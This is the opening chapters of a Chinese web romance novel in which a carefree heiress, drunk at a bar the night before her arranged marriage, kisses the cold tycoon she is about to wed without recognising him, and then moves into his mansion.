《救命,婚后被裴先生撩疯了》
1. 第1章
海城,夜色酒吧。
“忘卿,看我给你准备的婚前狂欢大礼。”
“把人都带过来吧。”
角落最隐蔽一个最大的卡座。
林铭月对着身旁的苏忘卿,笑的一脸促狭。
苏忘卿正端着酒杯喝酒,还没反应过来,就见一排面容俊秀的男生依次走来。
男生们统一白色衬衫,气质干净又亮眼,规规矩矩站在卡座前。
不多不少,整整八个。
苏忘卿手里的酒杯差点没拿稳:“你疯了?点这么多?”
“什么叫多?”
林铭月往苏忘卿身边一坐,胳膊肘撞了撞她的肩膀,笑的一脸八卦:“明天你就嫁给裴景辞那个活阎王了,婚前最后一晚,还不放松一下?”
苏忘卿:“……”
是的,明天她就要嫁人了。
嫁的人,还是裴景辞。
裴景辞,裴氏掌权人,年纪轻轻便以雷霆手段坐稳家族核心位置。
传闻裴景辞这人外表清隽矜贵,斯文优雅,可实际上,却是圈内人尽皆知的手段狠辣,城府深不可测,更是从来不仅女色。
所以当父母说,给她安排了这场联姻的时候,苏忘卿还以为自己听错了。
关键是,听闻裴景辞亲自开口,说是“裴太太”这个位置,每个月会有500万零花钱。
苏忘卿当即就乐颠颠同意了。
与其每天被逼着相亲各种歪瓜裂枣,不如直接找个不近女色的男人结婚。
于是今晚,闺蜜组了局,让苏忘卿好好放纵一把。
看着眼前一排养眼的男生,苏忘卿心里的犹豫瞬间烟消云散。
玩。
怎么不玩?
苏忘卿笑的眉眼弯弯,眼波流转间全是毫不掩饰的恣意,活脱脱像一只逃脱了牢笼的小狐狸。
她抬手晃了晃酒杯,唇角勾起甜甜的笑意:“那我就……却之不恭了?”
苏忘卿本就生的极美,眉眼精致,肌肤白皙,喝了点酒之后,脸颊泛着淡淡绯红。
眸光潋滟间,鲜活又耀眼。
苏忘卿和林铭月笑着碰杯,听着身边男生说着有趣的话,偶尔跟着音乐晃着脚,长发垂落在肩头,随着动作摆动,整个人都浸在放松里。
心里还美滋滋的打着小算盘:先狂欢一晚,明天搬去裴景辞豪宅,往后就能每个月拿着五百万,舒舒服服躺平,吃香的喝辣的,老公还不回家。
完美。
苏忘卿想的太投入,笑的太开心,丝毫没有察觉到,酒吧二楼最隐蔽的角落雅座里,有一道目光,从她踏入这里的那一刻起,就沉沉落在她身上。
二楼雅座,裴景辞坐在单人沙发上,一身剪裁完美的黑色高定西装衬的他身形挺拔高大,肩线凌厉,腰线劲窄,每一寸线条都矜贵的无可挑剔。
金丝边框眼镜架在男人高挺的鼻梁上,镜片滤去霓虹碎光,将眼底翻涌的情绪藏的严丝合缝。
男人指节分明的手捏着酒杯,慢条斯理转动着,周身散发着生人勿近的凛冽气场。
与周遭热闹的灯红酒绿格格不入。
裴景辞就这样安安静静坐着,目光穿透人群,落在一楼卡座里笑的恣意鲜活的女孩儿身上。
随着时间推移,男人唇线愈冷,眼底的暗色愈浓,像暴风雨来临前的深海。
“景辞。”
这时,身旁传来一声轻唤,打破了雅座里的死寂。
说话的人是陆思远,和裴景辞从小一起长大,也是少数敢在他面前随意说话的人。
陆思远看看窗外的夜色,又瞥了一眼对于裴景辞来说很是聒噪的酒吧,挠了挠头,一脸好奇的凑过来。
“听说你明天就去领证了?”
陆思远端起酒杯,碰了碰裴景辞面前的酒杯,笑的一脸揶揄:“话说,明天就要结婚了,对方还是个陌生人,感觉怎么样?”
裴景辞的目光依然黏在苏忘卿身上,半分未挪。
听到好友问题,他指尖转动酒杯的动作一顿。
良久,男人缓缓开口,声线低沉,听不出情绪:“手痒。”
“去抓个人。”
“手痒?抓个人?”
陆思远一愣,以为自己没听清,下意识追问:“抓谁?”
男人却没再解释,修长手指轻搁酒杯,动作矜贵又利落,径直从沙发上起身。
黑色西装裤包裹着笔直长腿,男人步伐沉稳又夹杂着迫人的压迫感,径直朝楼梯口走去。
陆思远还在原地愣神,琢磨着那句“手痒”到底什么意思。
此时一楼,苏忘卿正被一个长相清爽的男模逗的咯咯直笑。
她仰头喝下杯子里最后一口粉色液体,眼波流转间尽是毫无防备的娇憨。
林铭月正侧头跟另一个男生说着什么,眼角余光不经意扫过某处,脸上笑容一滞。
随即,林铭月使劲儿揉揉眼睛,再次看向朝他们走来的男人。
顶级黑色西装裹着男人堪称完美的身材比例,霓虹碎光掠过他轮廓分明的侧脸,鼻梁高挺,唇线精致,矜贵清冷到了极致。
而男人镜片后的眼眸深暗如渊,目光直直凝着苏忘卿,一步一步,朝她逼近。
“忘,忘卿……”
林铭月声音有点抖:“那个,我,我还有事,先走了啊……”
“嗯?”
苏忘卿醉眼迷蒙的转头看向林铭月,见她慌里慌张的拿着包包就走,苏忘卿眨了眨水汽氤氲的眼睛,恰好看到越来越近的男人,脑子里慢半拍的冒出一个念头,并伴随着傻气的笑容脱口而出:“铭月……你,你还,还加了人呀?”
苏忘卿伸出纤细的手指,隔空点了点,声音软糯糯的夹杂着醉后的黏糊:“九……个?哇……这个最帅……最好看……”
“比他们八个,都好看。”
才踏出一步的林铭月眼前一黑,差点儿当场晕过去。
同时还不忘跟另外八个男生使眼色,再以手包遮挡脸,不顾苏忘卿糯叽叽的问她们:“你们……怎么都,都走啦?带我呀……”
赶紧落荒而逃。
同时,裴景辞的脚步,也在卡座边停下。
男人高大挺拔的身影落下一片浓重阴影,将窝在沙发里的苏忘卿整个人温柔强势的笼罩其中,气息清冽霸道。
苏忘卿仰着小脸儿,努力聚焦去看面前高大的男人。
离的近了,男人俊美到极具冲击力的脸毫无保留撞入眼底,金丝边框眼镜衬的他清冷矜贵,禁欲感拉满,却又勾的人心尖发颤。
苏忘卿撑着柔软的沙发站了起来,脚步虚浮,身体晃了晃。
然后,她伸出纤细白皙的手指,一把毫不犹豫攥住了男人挺括的西装前襟。
指尖顺着那光滑的面料,懵懂又大胆的向上游移,划过他紧绷流畅的下颌线,最后,点在了男人的金丝眼镜框上。
“你……”
苏忘卿踮起脚尖,试图凑的更近些,眼波迷离如春日雾霭,红唇微启,吐息甜腻:“你这人……怎么不说话呀?过来……陪
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我坐嘛……”
另一只手还攀上了男人结实紧绷的手臂,借力稳住自己发软的身体。
裴景辞身体有一瞬的僵硬,下颌线绷紧,镜片后的眼眸危险眯起,眼底掠过骇人的厉色。
却又在触及女孩儿醉态时,悄然软了几分。
苏忘卿对周围骤然降至冰点的气压毫无所觉,只觉得掌心下的手臂肌肉硬邦邦的,靠着不太舒服。
她不满的嘟囔了一句,手指在男人领口拨弄了一下,想解开那严谨到刻板的束缚。
下一刻,苏忘卿纤细手腕被男人温热有力的大手扣住。
苏忘卿茫然抬眸,醉眼蒙眬的望向男人,委屈扁嘴:“干、嘛?”
裴景辞居高临下的凝着眼前的女孩儿。
女孩儿湿漉漉的大眼睛在昏暗的光线下璀璨一片。
而她微张的泛着诱人光泽的唇瓣,唇形很美,颜色是自然的嫣红,正不满的微微嘟着,像极了等待采撷的熟透草莓。
男人凸起的喉结性感滚动了一下,压抑着翻涌的情绪。
接着,裴景辞弯腰,轻而易举将苏忘卿整个人拦腰抱起。
苏忘卿惊呼一声,猝不及防天旋地转间,她下意识伸出双臂搂住了男人干净劲瘦的脖颈。
顷刻间,男人身上清冽干净的气息,将她整个人包裹,安心又蛊惑。
不待苏忘卿挣扎,裴景辞抱着她,转身,大步离开。
苏忘卿还醉着,反应不过来,只觉得这人怀抱宽阔坚硬,身上的气息好闻,她脸颊便蹭了男人蹭微凉的西装面料,迷迷糊糊嘟囔着:“你要带我去哪儿呀……”
男人垂眸,冷寂深沉的视线落在苏忘卿依偎过来的小脸儿上,目光软的一塌糊涂。
而他脚步却不停,径直踏入酒吧顶层酒店相连的专属电梯,按下最高层的按键。
电梯无声上行,密闭空间里只有苏忘卿身上淡淡的酒香和裴景辞清冽的气息交织。
苏忘卿不安分的在裴景辞怀里动了动,将脸更深的埋进他颈窝处,温热呼吸拂过男人温热的皮肤。
裴景辞身体微僵,抱着女孩儿的手臂不自觉收紧,将人更牢的圈在怀里,独占欲几乎要溢出来。
不多时,二人下电梯,来到顶楼总统套房。
刷卡,裴景辞抱着苏忘卿走进房间,用脚跟带上了门。
房间里没开大灯,只有走廊壁灯晕开一片暖昧昏黄的光晕,勾勒着男人轮廓分明的侧脸,和他怀里的人儿纤柔的曲线。
裴景辞走到客厅中央,想将苏忘卿放下。
然而苏忘卿却更紧的搂住了男人的脖颈,醉眼迷蒙的仰望着他。
近距离的光线下,男人金丝边框眼镜后的眉眼更加深邃俊美,勾人到了骨子里。
苏忘卿像是被蛊惑了似的,红唇微启,吐息甜腻,软软呢喃:“你,好好看……比所有人都好看……”
“我可以亲一口吗?”
裴景辞正准备松开女孩儿的手臂一顿,随即收的更紧,将人牢牢扣在怀里。
男人缓缓低下头,距离一点点拉近,温热气息裹着清新气息拂在女孩儿脸上。
良久,裴景辞开口,声音比在酒吧时更低更缓,磁哑的撩人心弦,一字一句,都像敲在苏忘卿混沌的耳膜上:“你说,你想做什么?”
话音未落下,男人怀里的苏忘卿被他语气里的气息激的莫名一颤,混沌的脑子也更加迷糊了。
于是她茫然的眨了眨水雾蒙蒙的大眼睛,双手捧起男人完美的脸,吧唧一口亲了上去。
2. 第2章
吧唧一声,清脆又水润响亮的亲吻声,在寂静的套房客厅里响起。
苏忘卿双手捧着裴景辞的脸,红唇结结实实印在男人紧抿唇瓣上。
吻完了,苏忘卿还咂了咂嘴,像在回味什么,湿漉漉的眼睛里满是懵懂的满意和得逞的小得意。
裴景辞周身一滞。
唇上传来的触感柔软温热,还有果酒的甜香。
男人镜片后的幽眸轻颤,眼底蛰伏的暗涌顿了半秒,旋即更加暗沉。
苏忘卿对男人的僵硬毫无所觉。
她像一只偷到腥的小猫儿,松开手,身体软软靠回男人怀里,仰着脸看他,醉眼迷离的傻笑:“好看的人……亲起来也……甜甜的。”
裴景辞徐徐垂落眼睫,长睫在眼睑落下浅影,垂眸凝着怀里胆大包天,亲完还兀自得意的女孩儿。
她脸颊绯红,眼神涣散,红唇因刚才的触碰更加水润嫣红,呼出的气息甜腻灼热。
整个人更是毫无防备的贴着自己,根本不知道,自己这样懵懂中又混合着极致娇艳的诱惑,对于他来说意味着什么。
裴景辞环在苏忘卿腰间的手臂收紧,指节泛出淡白,力道不自觉沉了几分。
勒的苏忘卿不舒服轻哼一声。
“疼……”
苏忘卿委屈嘟囔,手指抓住裴景辞胸前的衬衫布料,扯了扯。
这简单的动作却让男人呼吸更加一沉。
片刻后,裴景辞阖眸轻喘。
再抬眼时,男人镜片后的眸光已凝作深不见底的墨色,藏着极致的隐忍。
见怀里的女人还想再亲上来,男人偏头,避开了女孩儿凑上来的唇瓣。
苏、忘、卿。”
裴景辞一字一顿唤她名字,声线压的低哑磁醇,像浸了温酒:“找男模,除了想亲吻……”
男人幽邃的目光凝着女孩儿茫然的眼睛,蕴着勾人的压迫气息:“还想做什么?”
话音落下,房间里的空气陷入短暂的沉寂。
“想做什么?”
苏忘卿迟钝的重复着男人的问题,脑袋昏沉的像一团浆糊,指尖又一下没一下卷着对方一丝不苟的衬衫领口。
随即,不知想到了什么,女孩儿笑容漾开,在昏暗的光线下,染着醉意绯红的小脸儿看起来又甜又欲:“要开心呀……”
这时,苏忘卿好像发现了什么不满意的地方。
她秀气的眉头蹙起,视线下移,落在男人扣的严严实实的衬衫领口上。
又不满的抬起醉眼看他,用娇憨的语气命令道:“你这个男模……不称职。我命令你……把衣服解开。”
顷刻间,裴景辞周身气场冷冽如霜。
扣在女孩儿腰间的掌心再度攥紧,又凭着极强的自制力缓缓松开,生怕弄疼了她。
“苏忘卿。”
男人声线愈发哑,每个字都像从喉咙里面碾出来似的:“知道我是谁吗?”
苏忘卿被裴景辞语气里的寒意冻的瑟缩了一下,但酒精壮大的胆气很快占了上风。
她不解的眨了眨雾蒙蒙的大眼睛,脸上甜美的笑容加深,带着醉后的笃定:“男模呀……”
苏忘卿还用指尖戳了戳男人的脸颊:“最好看的……男模呀。”
“男模?”
裴景辞嘴唇轻启,冷声重复这两个字。
望着苏忘卿近在咫尺还嘟着的软唇,男人线条利落的喉结重重滚了一下,呼吸又沉了半分。
下一秒,男人垂首靠近,惩罚性的轻咬在女孩儿纤细莹白的锁骨上,力道蕴着克制的狠戾。
“啊……”
苏忘卿疼的轻呼一声,醉意都被这突如其来的刺痛驱散了几分。
她震惊的瞪大眼睛,湿漉漉的眸子里盈满了生理性泪水和委屈。
苏忘卿哪里吃过这种亏?
且酒精彻底摧毁了她的理智,于是苏忘卿想都没想双手捧住裴景辞的脸,不管不顾仰起头,对着他紧抿的线条优美的唇,一口咬了回去。
“嘶~”
裴景辞喉间溢出一声闷哼,唇瓣传来细微刺痛,可软糯的触感裹着甜香,缠上心头。
苏忘卿也不恋战,咬了一下就松开。
她还捧着男人的脸,眼圈红红的瞪着对方,像一只被惹急了的小猫咪,控诉的声音满是哭腔:“你属狗的吗?怎么咬人?”
裴景辞:“……苏忘卿,你……”
后面的话尚未说完,却见怀里的女孩儿眼睛一闭,身体一软,毫无防备瘫软在他怀里。
苏忘卿竟然……睡着了?
在咬了他一口之后,就这么,睡着了?
裴景辞气的失笑。
指尖轻触被苏忘卿咬破的唇瓣,男人深呼吸一口气,压下胸腔里翻涌的热意。
不知过了多久,裴景辞抱着怀里的女孩儿走进卧室,将她小心翼翼放在柔软的大床上。
跟着屈膝蹲身,替女孩儿褪下高跟鞋。
指腹不经意擦过女孩儿微凉的脚踝,裴景辞动作微顿,骨节分明的手收回,耳尖泛起淡红。
接着拉过被子,将苏忘卿裸露在外的胳膊放进被子里。
打理好一切,男人立在床边,垂眸凝着睡颜娇憨的女孩儿,目光缱绻深沉,久久未移。
·
次日,阳光透过窗帘缝隙钻进来,洒在苏忘卿紧闭的眼皮上。
她嘤咛一声,头疼欲裂醒来。
宿醉的钝痛席卷了所有感官,茫然的睁开眼。
入目,是陌生的吊顶,空气中还残留着清冽好闻的男士香水味。
苏忘卿脑子懵了一秒,转头,惊在原地。
因为她身边还……还躺着个人?
还是个男人?
男人宽阔冷白的后背对着苏忘卿,肩背线条流畅凌厉,黑色的发丝有点凌乱,看不到脸。
可光是一个背影,就清隽的让人移不开眼。
苏忘卿瞳孔地震,呼吸一滞。
昨晚的破碎记忆如潮水般涌上来。
酒吧,八个帅哥,第九个最帅的男模,她还抱着人亲?然后呢?
最后断片前,她好像被人抱进了电梯?
苏忘卿心脏狂跳。
她,她居然在婚前最后一晚,把一个陌生男人给带回酒店了?
还好还好,男人背对着她,看着睡的应该挺沉。
苏忘卿大气不敢喘,轻手轻脚掀开被子,连鞋都不敢穿,赤着脚踮着脚尖拎起鞋子,像一只偷跑的小贼一样一点一点走出卧室。
反手轻轻带上房门,一溜烟儿,逃之夭夭。
直到电梯门合上,苏忘卿才靠着墙壁大口喘气,拍着自己受惊的小心脏。
太险了,太险了。
等等,好像忘了给男模服务费?
算了。
与此同时,苏忘卿刚刚逃出来的房间里,床上的男人缓缓睁开眼睛。
男人戴上眼镜,镜片后的眸光幽深如潭,瞥了一眼旁边空荡荡的床,指尖摩挲唇瓣上还残留着细微痛感的咬痕。
须臾,男人嘴唇勾起淡淡的笑意。
另一边,苏忘卿一路来到地下停车场,坐进驾驶室的第一时间,慌慌张张翻出化妆镜。
这一看,苏忘卿倒吸一口凉气。
只见她白皙纤细的锁骨上,一个清晰的浅红色牙印赫然在目。
牙印不算重,却格外扎眼,蕴着暧昧的侵略感。
“疯了疯了疯了。”
苏忘卿捂着脸,恨不得原地失忆。
她居然被一个男模咬了?
昨晚这么激烈吗?
可下一秒,她又疑惑的摇了摇头
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:“不对。”
她除了宿醉头疼之外,全身上下……半点腰酸背痛的感觉都没有?
难道是……昨晚那个男人,不行?
可惜了一副好身材,居然不行?
苏忘卿腹诽完,翻出粉底液,对着镜子仔仔细细把锁骨上的牙印遮的严严实实,
直到看不出半点痕迹,才松了口气,开车回苏家别墅。
刚进门,苏母就迎了上来,
“忘卿回来了?”
“昨晚铭月生日,玩得开心吗?”
苏忘卿脚步一顿。
生日?
昨晚她明明和林铭月在酒吧……
电光火石间,苏忘卿想起出门前对爸妈随口扯的谎。
“……还行。”
苏忘卿假装若无其事的轻咳一声:“铭月喝多了,非拉着我在她家睡,折腾到大半夜。”
苏母点点头,没再追问,只将一个文件袋递给女儿,温声叮嘱:“今天领证,你早点出门,别迟到了。”
“知道了。”
苏忘卿接过文件袋,亲了亲母亲的脸颊:“那我出门啦。”
苏母拉住她的手,目光柔软又复杂:“忘卿,裴家那边……”
“妈。”
苏忘卿笑盈盈打断苏母:“您就别操心了,我觉得裴景辞这人挺好的。”
苏母看着女儿明媚的笑脸,轻叹了口气:“那行,早点回来。”
“嗯。”
苏忘卿攥紧文件袋,转身出门。
走出玄关那一刻,她脸上的笑意才缓缓淡去。
裴景辞确实挺好的。
有钱,不近女色,简直完美。
而领完证,每个月五百万零花钱就能到手啦。
吃香喝辣躺平人生就在眼前。
完美。
半个小时后,
市民政局门口。
苏忘卿攥着户口本,站在路边,心里既期待又有点发怵。
期待的是马上就能拥有长期饭票。
怵的是,那位毕竟是传闻中狠辣凉薄城府极深的裴景辞。
也不知道这位大佬会不会难相处。
希望他真如传闻那般,一心搞事业,从不回家,让她安安心心当咸鱼。
正胡思乱想着,一道沉稳有力的脚步声由远及近。
清冽熟悉的气息先一步笼罩过来。
苏忘卿下意识抬头。
下一秒,苏忘卿微微一怔,蓦然瞪大了眼睛。
只见越来越近的男人一身剪裁得体的深灰色西装。
身姿高大挺拔,金丝边框眼镜架在高挺的鼻梁上,清隽矜贵,斯文禁欲。
俊美完美的极具冲击力。
苏忘卿在心里默默点头:
长的是真帅,气质是真绝,就是看着不太好惹。
苏忘卿礼貌开口:“裴先生,您好……”
话音未落,苏忘卿目光落在男人唇瓣上。
裴景辞的唇形很漂亮,色泽温润,看起来就很好亲的样子。
可下嘴唇正中有一道格外明显的小伤口,像是被人咬过?还带着一点浅浅的红痕,明显是刚伤没多久。
苏忘卿微微蹙眉。
这人不是不近女色?嘴唇怎么会被人咬破?
而裴景辞,将苏忘卿的反应尽收眼底。
眼前女孩儿注视着自己的眼睛干干净净,没有任何躲闪或心虚,只有对陌生人应有的礼貌疏离,以及,对他唇瓣伤痕的疑惑。
这是,真的一点都不记得他了?
男人喉结滚动了一下,镜片后的眸光深了深。
随即恢复如常,像在说一件再普通不过的小事一般,淡淡开口:
“被猫咬的。”
苏忘卿:“?”
被猫……咬的?
3. 第3章
民政局门口。
苏忘卿望着裴景辞唇上的咬痕,听着男人淡淡的声音,愣了好几秒。
但如果不是猫咬的,还能是什么?
毕竟海城谁不知道裴景辞?
矜贵自持,克己复礼,身边从无一丁点儿桃色绯闻。
连异性靠近三尺之内,都会被他周身冷意逼退。
听说曾有人想爬上裴景辞的床,结果不仅被扔出门外,那个女人背后的公司三天内就在海城消失了。
从那之后,所有人都歇了心思。
所以,裴景辞“不近女色”这件事,早已成了海城公认的事实。
这样的人,怎么可能和女人牵扯出唇齿间的纠葛?
肯定是被猫抓伤了。
苏忘卿敛了眉心的褶皱,眉眼弯起乖巧弧度,语气诚恳礼貌:“原来是这样,裴先生要小心处理,别发炎了。”
裴景辞垂眸,看着苏忘卿眼底毫无杂质的信服,镜片后的眸光浅浅淡淡。
唯独眼底极深处,藏了一丝微不可查的暗涌,转瞬便敛去。
须臾,男人淡淡颔首,骨节分明的手指自然垂在身侧:“进去吧。”
“好。”
苏忘卿看着男人高大的身影。
深色高定西装裹着清瘦却挺拔的肩背,他步履沉稳,周身自带生人勿近的疏离感。
领证过程很迅速。
工作人员递来签字笔,裴景辞先侧身让苏忘卿先签,指尖不经意擦过她手背,微凉的触感一瞬即逝,他便收回手,腰背挺直,姿态端正到近乎严苛,没有一点逾矩。
苏忘卿握着笔的手微顿,偷偷抬眼瞥裴景辞。
见男人正垂眸看着文件,长长的睫毛覆下浅浅的阴影,鼻梁高挺,唇线利落,连唇上浅浅咬痕,都衬的他多了几分破碎的。
不多时,两本红本本落入手心,苏忘卿还觉得像做梦。
她真的嫁给了这位海城最矜贵的男人?
从此不仅月月500万零花钱,还能再也不跟纨绔子弟歪瓜裂枣们相亲?
太爽了。
这时,闺蜜林铭月打来电话。
“领证顺利吗?我在旁边咖啡厅等你,快来。”
电话那头的林铭月催促道。
苏忘卿正打算找什么借口离开呢,挂断电话,立刻抬头看向裴景辞,语气乖巧:“裴先生,我闺蜜找我,我先过去了,您忙您的,不用管我。”
裴景辞垂眸看着苏忘卿眼底藏不住的雀跃,颔首,嘴唇微启:“好。”
苏忘卿如蒙大赦,挥挥手,一溜烟就跑了。
生怕跑慢一步会被揪住似的。
裴景辞站在原地,看着苏忘卿轻快逃离的背影,指尖摩挲唇上的咬痕,凸起的喉结不着痕迹滚了一下。
十分钟后,咖啡厅。
林铭月一见到苏忘卿,就凑过来挤眉弄眼八卦:“可以啊你,昨晚那么疯,今天还能准时领证,果然是年轻人,就是有体力。”
苏忘卿:“……”
昨晚的破碎记忆猝不及防袭来,苏忘卿的脸唰的一下子红了。
眼瞅着闺蜜还要说什么,苏忘卿眼疾手快一把捂住林铭月的嘴。
她身子前倾压低声音,眼底满是哀求:“祖宗,求你别提昨晚,半个字都不许说。”
林铭月被捂的眨了眨眼,看着苏忘卿尴尬的快要钻地缝的模样,只当她是不好意思提及昨晚的荒唐事,乖乖点头。
苏忘卿这才松了手,端起冰咖啡猛灌一口,试图压下心底的羞耻。
她打死都不想说,昨晚上那个男人压根不行。
这时,苏忘卿手机短信响了一下。
她拿起手机一看,惊在原地,只见手机屏幕上一长串的0,转款方是:裴景辞。
乖乖,这么快500万就到手了?
“看什么呢?笑的这么开心?”
林铭月凑过来。
苏忘卿将手机翻转给林铭月看。
闺蜜假激动的差点儿原地跳起来。
“走,姐带你去shopping,今天随便买买买,算我的。”
“姐妹我爱你。”
接下来一整天,不用上班一直是家里米虫的闺蜜俩,开启了狂欢模式。
各种买买买吃吃吃逛逛逛,简直不要太爽。
等到夜幕降临,累了大半天的苏忘卿回到家里,一屁股歪倒在沙发上。
苏母正在看电视,见闺女回来就趴自己腿上,好奇的问:“你怎么回来了?”
苏忘卿瞥了一眼老妈看的肥皂剧,随口回:“我不回来去哪儿?”
旁边,苏父轻咳一声,放下手里的报纸提醒:“你今天,领证了。”
轻飘飘一句话,像一记闷雷砸在苏忘卿头顶。
她愣了足足三秒,才猛地一拍脑门,发出一声小小的哀嚎:“我去,我居然忘了?”
也是,今天满脑子都是五百万,早就忘了一开始答应联姻时说过的,领证当晚,要搬去婚房来着。
正想着回都回了,明天再说搬去新房的事情,门铃响起。
佣人开门,裴景辞走了进来。
男人身着一身熨帖的深色西装,身姿颀长挺拔,肩宽腰窄,金丝边框眼镜衬的他眉眼愈发斯文。
而跟他进来的一排助理,手里拎着大包小包的礼品。
“爸,妈。”
裴景辞礼数周全的拜访,声音低沉有礼。
“怎么带这么多东西?”
苏母和苏父都颇为惊讶。
“奶奶让我来接卿卿回家,应该的。”
裴景辞声音礼貌舒朗。
这话一出,苏家三口人都明白了。
就说裴景辞这样冷心冷情的人怎么会主动过来。
当初提起联姻的时候,可是连婚礼都说不用着急办。
不过幸好不用办婚礼,苏忘卿最怕麻烦了,甚至考虑过如果有婚礼,哪怕是裴景辞,她也想放弃。
既然裴景辞来了,苏忘卿只能乖乖跟父母道别,亦步亦趋跟在裴景辞身后离开。
去婚房的路上,车子里只有苏忘卿和裴景辞两个人。
车内安安静静,驾驶座上的裴景辞目视前方,单手握着方向盘,手腕线条冷白流畅。
车子很快驶入半山的独栋豪宅。
夜色将半山裹的静谧,唯有这片偌大的庭院邸灯火通明,透着生人勿近的奢贵。
穿越长长的前院,车子停在一处五层楼高的主宅前。
“谢谢裴先生送我回来,我先上去看看房间。”
“裴先生再见,裴先生晚安。”
一下车,苏忘卿就迫不及待往主宅别墅里跑。
裴景辞这么忙,送她过来肯定就走,这偌大的房子,终究是她一个人的咸鱼窝。
下一刻,两排佣人整整齐齐朝苏忘卿鞠躬:“太太好,欢迎太太归家。”
苏忘卿被这阵仗吓了一跳,缓了半秒,才走进别墅。
在佣人阿姨指引下,苏忘卿冲进主卧,看着柔软的床上铺着浅灰色床品,落地窗对着山间风景。
浴室也宽敞奢华,一切都是咸鱼生活的顶奢级别。
完美。
折腾了一天,身上的疲惫涌上来。
苏忘卿抱着睡衣冲进浴室,满心满眼都是独占大别墅的爽。
半个小时后,泡好了温泉浴的苏忘卿,穿着浴室里估计是佣人提前备好的丝绸睡衣,走出浴室。
睡衣领口松松垮垮,露出纤细的锁骨,刚遮住大腿的长度,湿发垂在肩头,水珠顺着脖颈滑落,带着刚洗完澡的慵懒。
苏忘卿擦着头发,脚步轻快。
可抬眼瞬间,脚步一顿。
裴景辞?
他怎么来了?
此时的裴景辞正坐在主卧的沙发上,西装外套搭在沙发扶手上,白色衬衫袖
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口挽到小臂,露出冷白紧致的手腕,骨节分明的手指正慢条斯理拿着一份文件。
男人腰背挺直,坐姿端正,连垂眸看文件的模样,都透着克制清冷。
却不知,男人手里的文件,已经十分钟没翻页了。
而暖黄灯光洒在男人身上,勾勒出他清晰的下颌线。
长长睫毛垂落,唇上的咬痕若隐若现,明明是极致疏离的姿态,却禁欲的让人移不开眼。
不得不说,裴景辞这个男人,是真好看。
只是……
“裴先生还没走?”
闻言,裴景辞抬眸。
视线从容掠过眼前女孩儿周身,将她的模样尽数收入眼底,凸起喉结因隐忍的占有欲轻滚,声线低磁:“没记错的话,这是我们的家。”
苏忘卿:“……”
理论上是这样没错,但是……
“我去洗澡。”
裴景辞放下文件,径直走向浴室。
途径苏忘卿身旁,周身清冽气息扑入鼻尖,快的让她以为是错觉。
苏忘卿看着男人走进浴室,关上了门。
等等,裴景辞刚才说什么?
洗澡?
苏忘卿震惊的瞪大了眼睛:“他想干嘛?”
不是不近女色?
莫非是……被奶奶强行安排住在这里?
不管了。
既然裴景辞也住这里,那么她就要给自己找一间客卧了。
苏忘卿走出主卧。
楼下的佣人已经都去歇息了估计,偌大别墅里空空的。
苏忘卿便试探着推开一个卧室的门。
发现里面是一个超大衣帽间,且全是当季新款女装,高定包包,光珠宝首饰摆满了一整面墙,在暖色调灯光下璀璨的晃眼。
苏忘卿被惊呆了。
这场面,她只在商场里见过。
这些,都是给她的?
不会吧?裴景辞这么大方?
不过想想她这位名义上的裴太太,每个月光零花钱就500万,这么一个几百平米的大衣帽间,好像……也不是很难理解。
就是,为什么除了衣帽间,还是衣帽间?
这是把整个二楼除了主卧和书房之外的房间都打通了吗?
所以二楼根本没有客卧?
苏忘卿又跑去三楼,四楼,五楼,发现全是影音室,健身房,茶室等等等等,就是没有一间客卧,没有第二张床。
苏忘卿震惊过后,惆怅的回到主卧。
她好累,想睡觉。
但是裴景辞睡床,她睡哪儿?
余光不经意间瞥到沙发,一个大胆的念头从苏忘卿脑海里一闪而过。
她眼底闪过一丝狡黠。
裴景辞不是不近女色吗?
那她就演一个对他有坏心思的小媳妇,主动凑到他跟前。
那么,以这位裴总的性子,肯定会把她赶出去。
但她不是之前传闻中爬床的普通女人,她可是裴老太太亲自吩咐裴景辞接回婚房的裴太太,裴景辞肯定不会把她赶出去。
那么,他就只能自己睡沙发了。
完美。
跟着,浴室门被打开,一个男人走了出来。
男人换上了一身黑色浴袍,系的严严实实,领口只敞着一点,露出冷白清晰的锁骨。
他湿发被梳理的很整齐,没有凌乱的水珠,金丝边框眼镜重新架回鼻梁上,斯文禁欲。
暖光洒在男人冷白的肌肤上,衬的他唇上那道浅淡咬痕多了易碎的苏感。
男人抬眸,与苏忘卿四目相对。
只淡淡一瞥,便自然垂眸整理袖口,姿态疏离规矩,可镜片后的眸光暗了一瞬,不动声色将女孩儿模样尽收眼底。
而苏忘卿,原本准备好的台词,一下子忘了一干二净。
脑子一片空白,只剩下一个念头:这个男人好帅,想睡。
4. 第4章
许是刚洗完澡的缘故,男人身上带着沐浴后特有的湿润气息,清冽,清新,丝丝缕缕萦绕在空气里,往苏忘卿鼻子里钻。
此时,暖黄灯光洒在男人脸上,衬的他更加清隽。
男人金丝边框眼镜轻架在高挺鼻梁上,长长的睫毛垂落,掩住镜片后深不见底的眸光,眉眼清隽冷冽,下颌线利落紧绷,嘴唇线条干净,冷白的肌肤在柔光里泛着清浅的光泽,俊美的极具压迫感。
又勾的人移不开眼。
苏忘卿心跳一快。
这个男人,还真是长在她审美上,她想睡。
心头一热,苏忘卿情不自禁就想往前靠近。
可即将抬步前一刻,苏忘卿脚步一顿,惊醒。
这个男人是谁?
是裴景辞。
裴景辞是谁?
是狠辣凉薄的裴氏集团掌权人,海城人人忌惮的活阎王,是但凡有女人敢爬床靠近,就会被他彻底收拾,连背后势力都一并击垮的活阎王。
所谓帅哥世上多的是,不差裴景辞一个。
可每月500万还没人管的咸鱼日子,错过这村可就没这店了。
犯不着为了一时美色,砸了自己的顶级躺平饭碗。
顷刻间,苏忘卿心底想睡裴景辞的念头,被理智狠狠掐灭。
她后退半步,拉开距离。
冷静,冷静。
她是要故意装出一副对裴景辞有坏心思的样子,恶心到他,让他自己待不下去,离开卧室,再不济也会去睡沙发。
苏忘卿抬眸,一边酝酿表情,一边抬起脚步朝男人靠近。
“裴先生……”
苏忘卿声音放软,带点刻意的黏。
听到声音,裴景辞抬眸,朝苏忘卿看过来。
“嗯?”
简简单单一个字,嗓音低低的,像是从喉间碾出来似的。
苏忘卿耳尖一热,心里暗骂自己没出息,面上却更黏了。
稳住,稳住。
她是最棒的。
苏忘卿攥了攥掌心,继续演。
“我知道这场婚姻是家里安排的,”
苏忘卿眸光流转:“可我们都领证了……”
说到这里,苏忘卿仔细观察裴景辞。
见他仍然疏离清冷的站着,她心里更稳了。
看来裴景辞不近女色的人设是真的。
那她只要再主动点,他肯定嫌烦。
苏忘卿心里感叹自己好聪明,脸上一秒入戏。
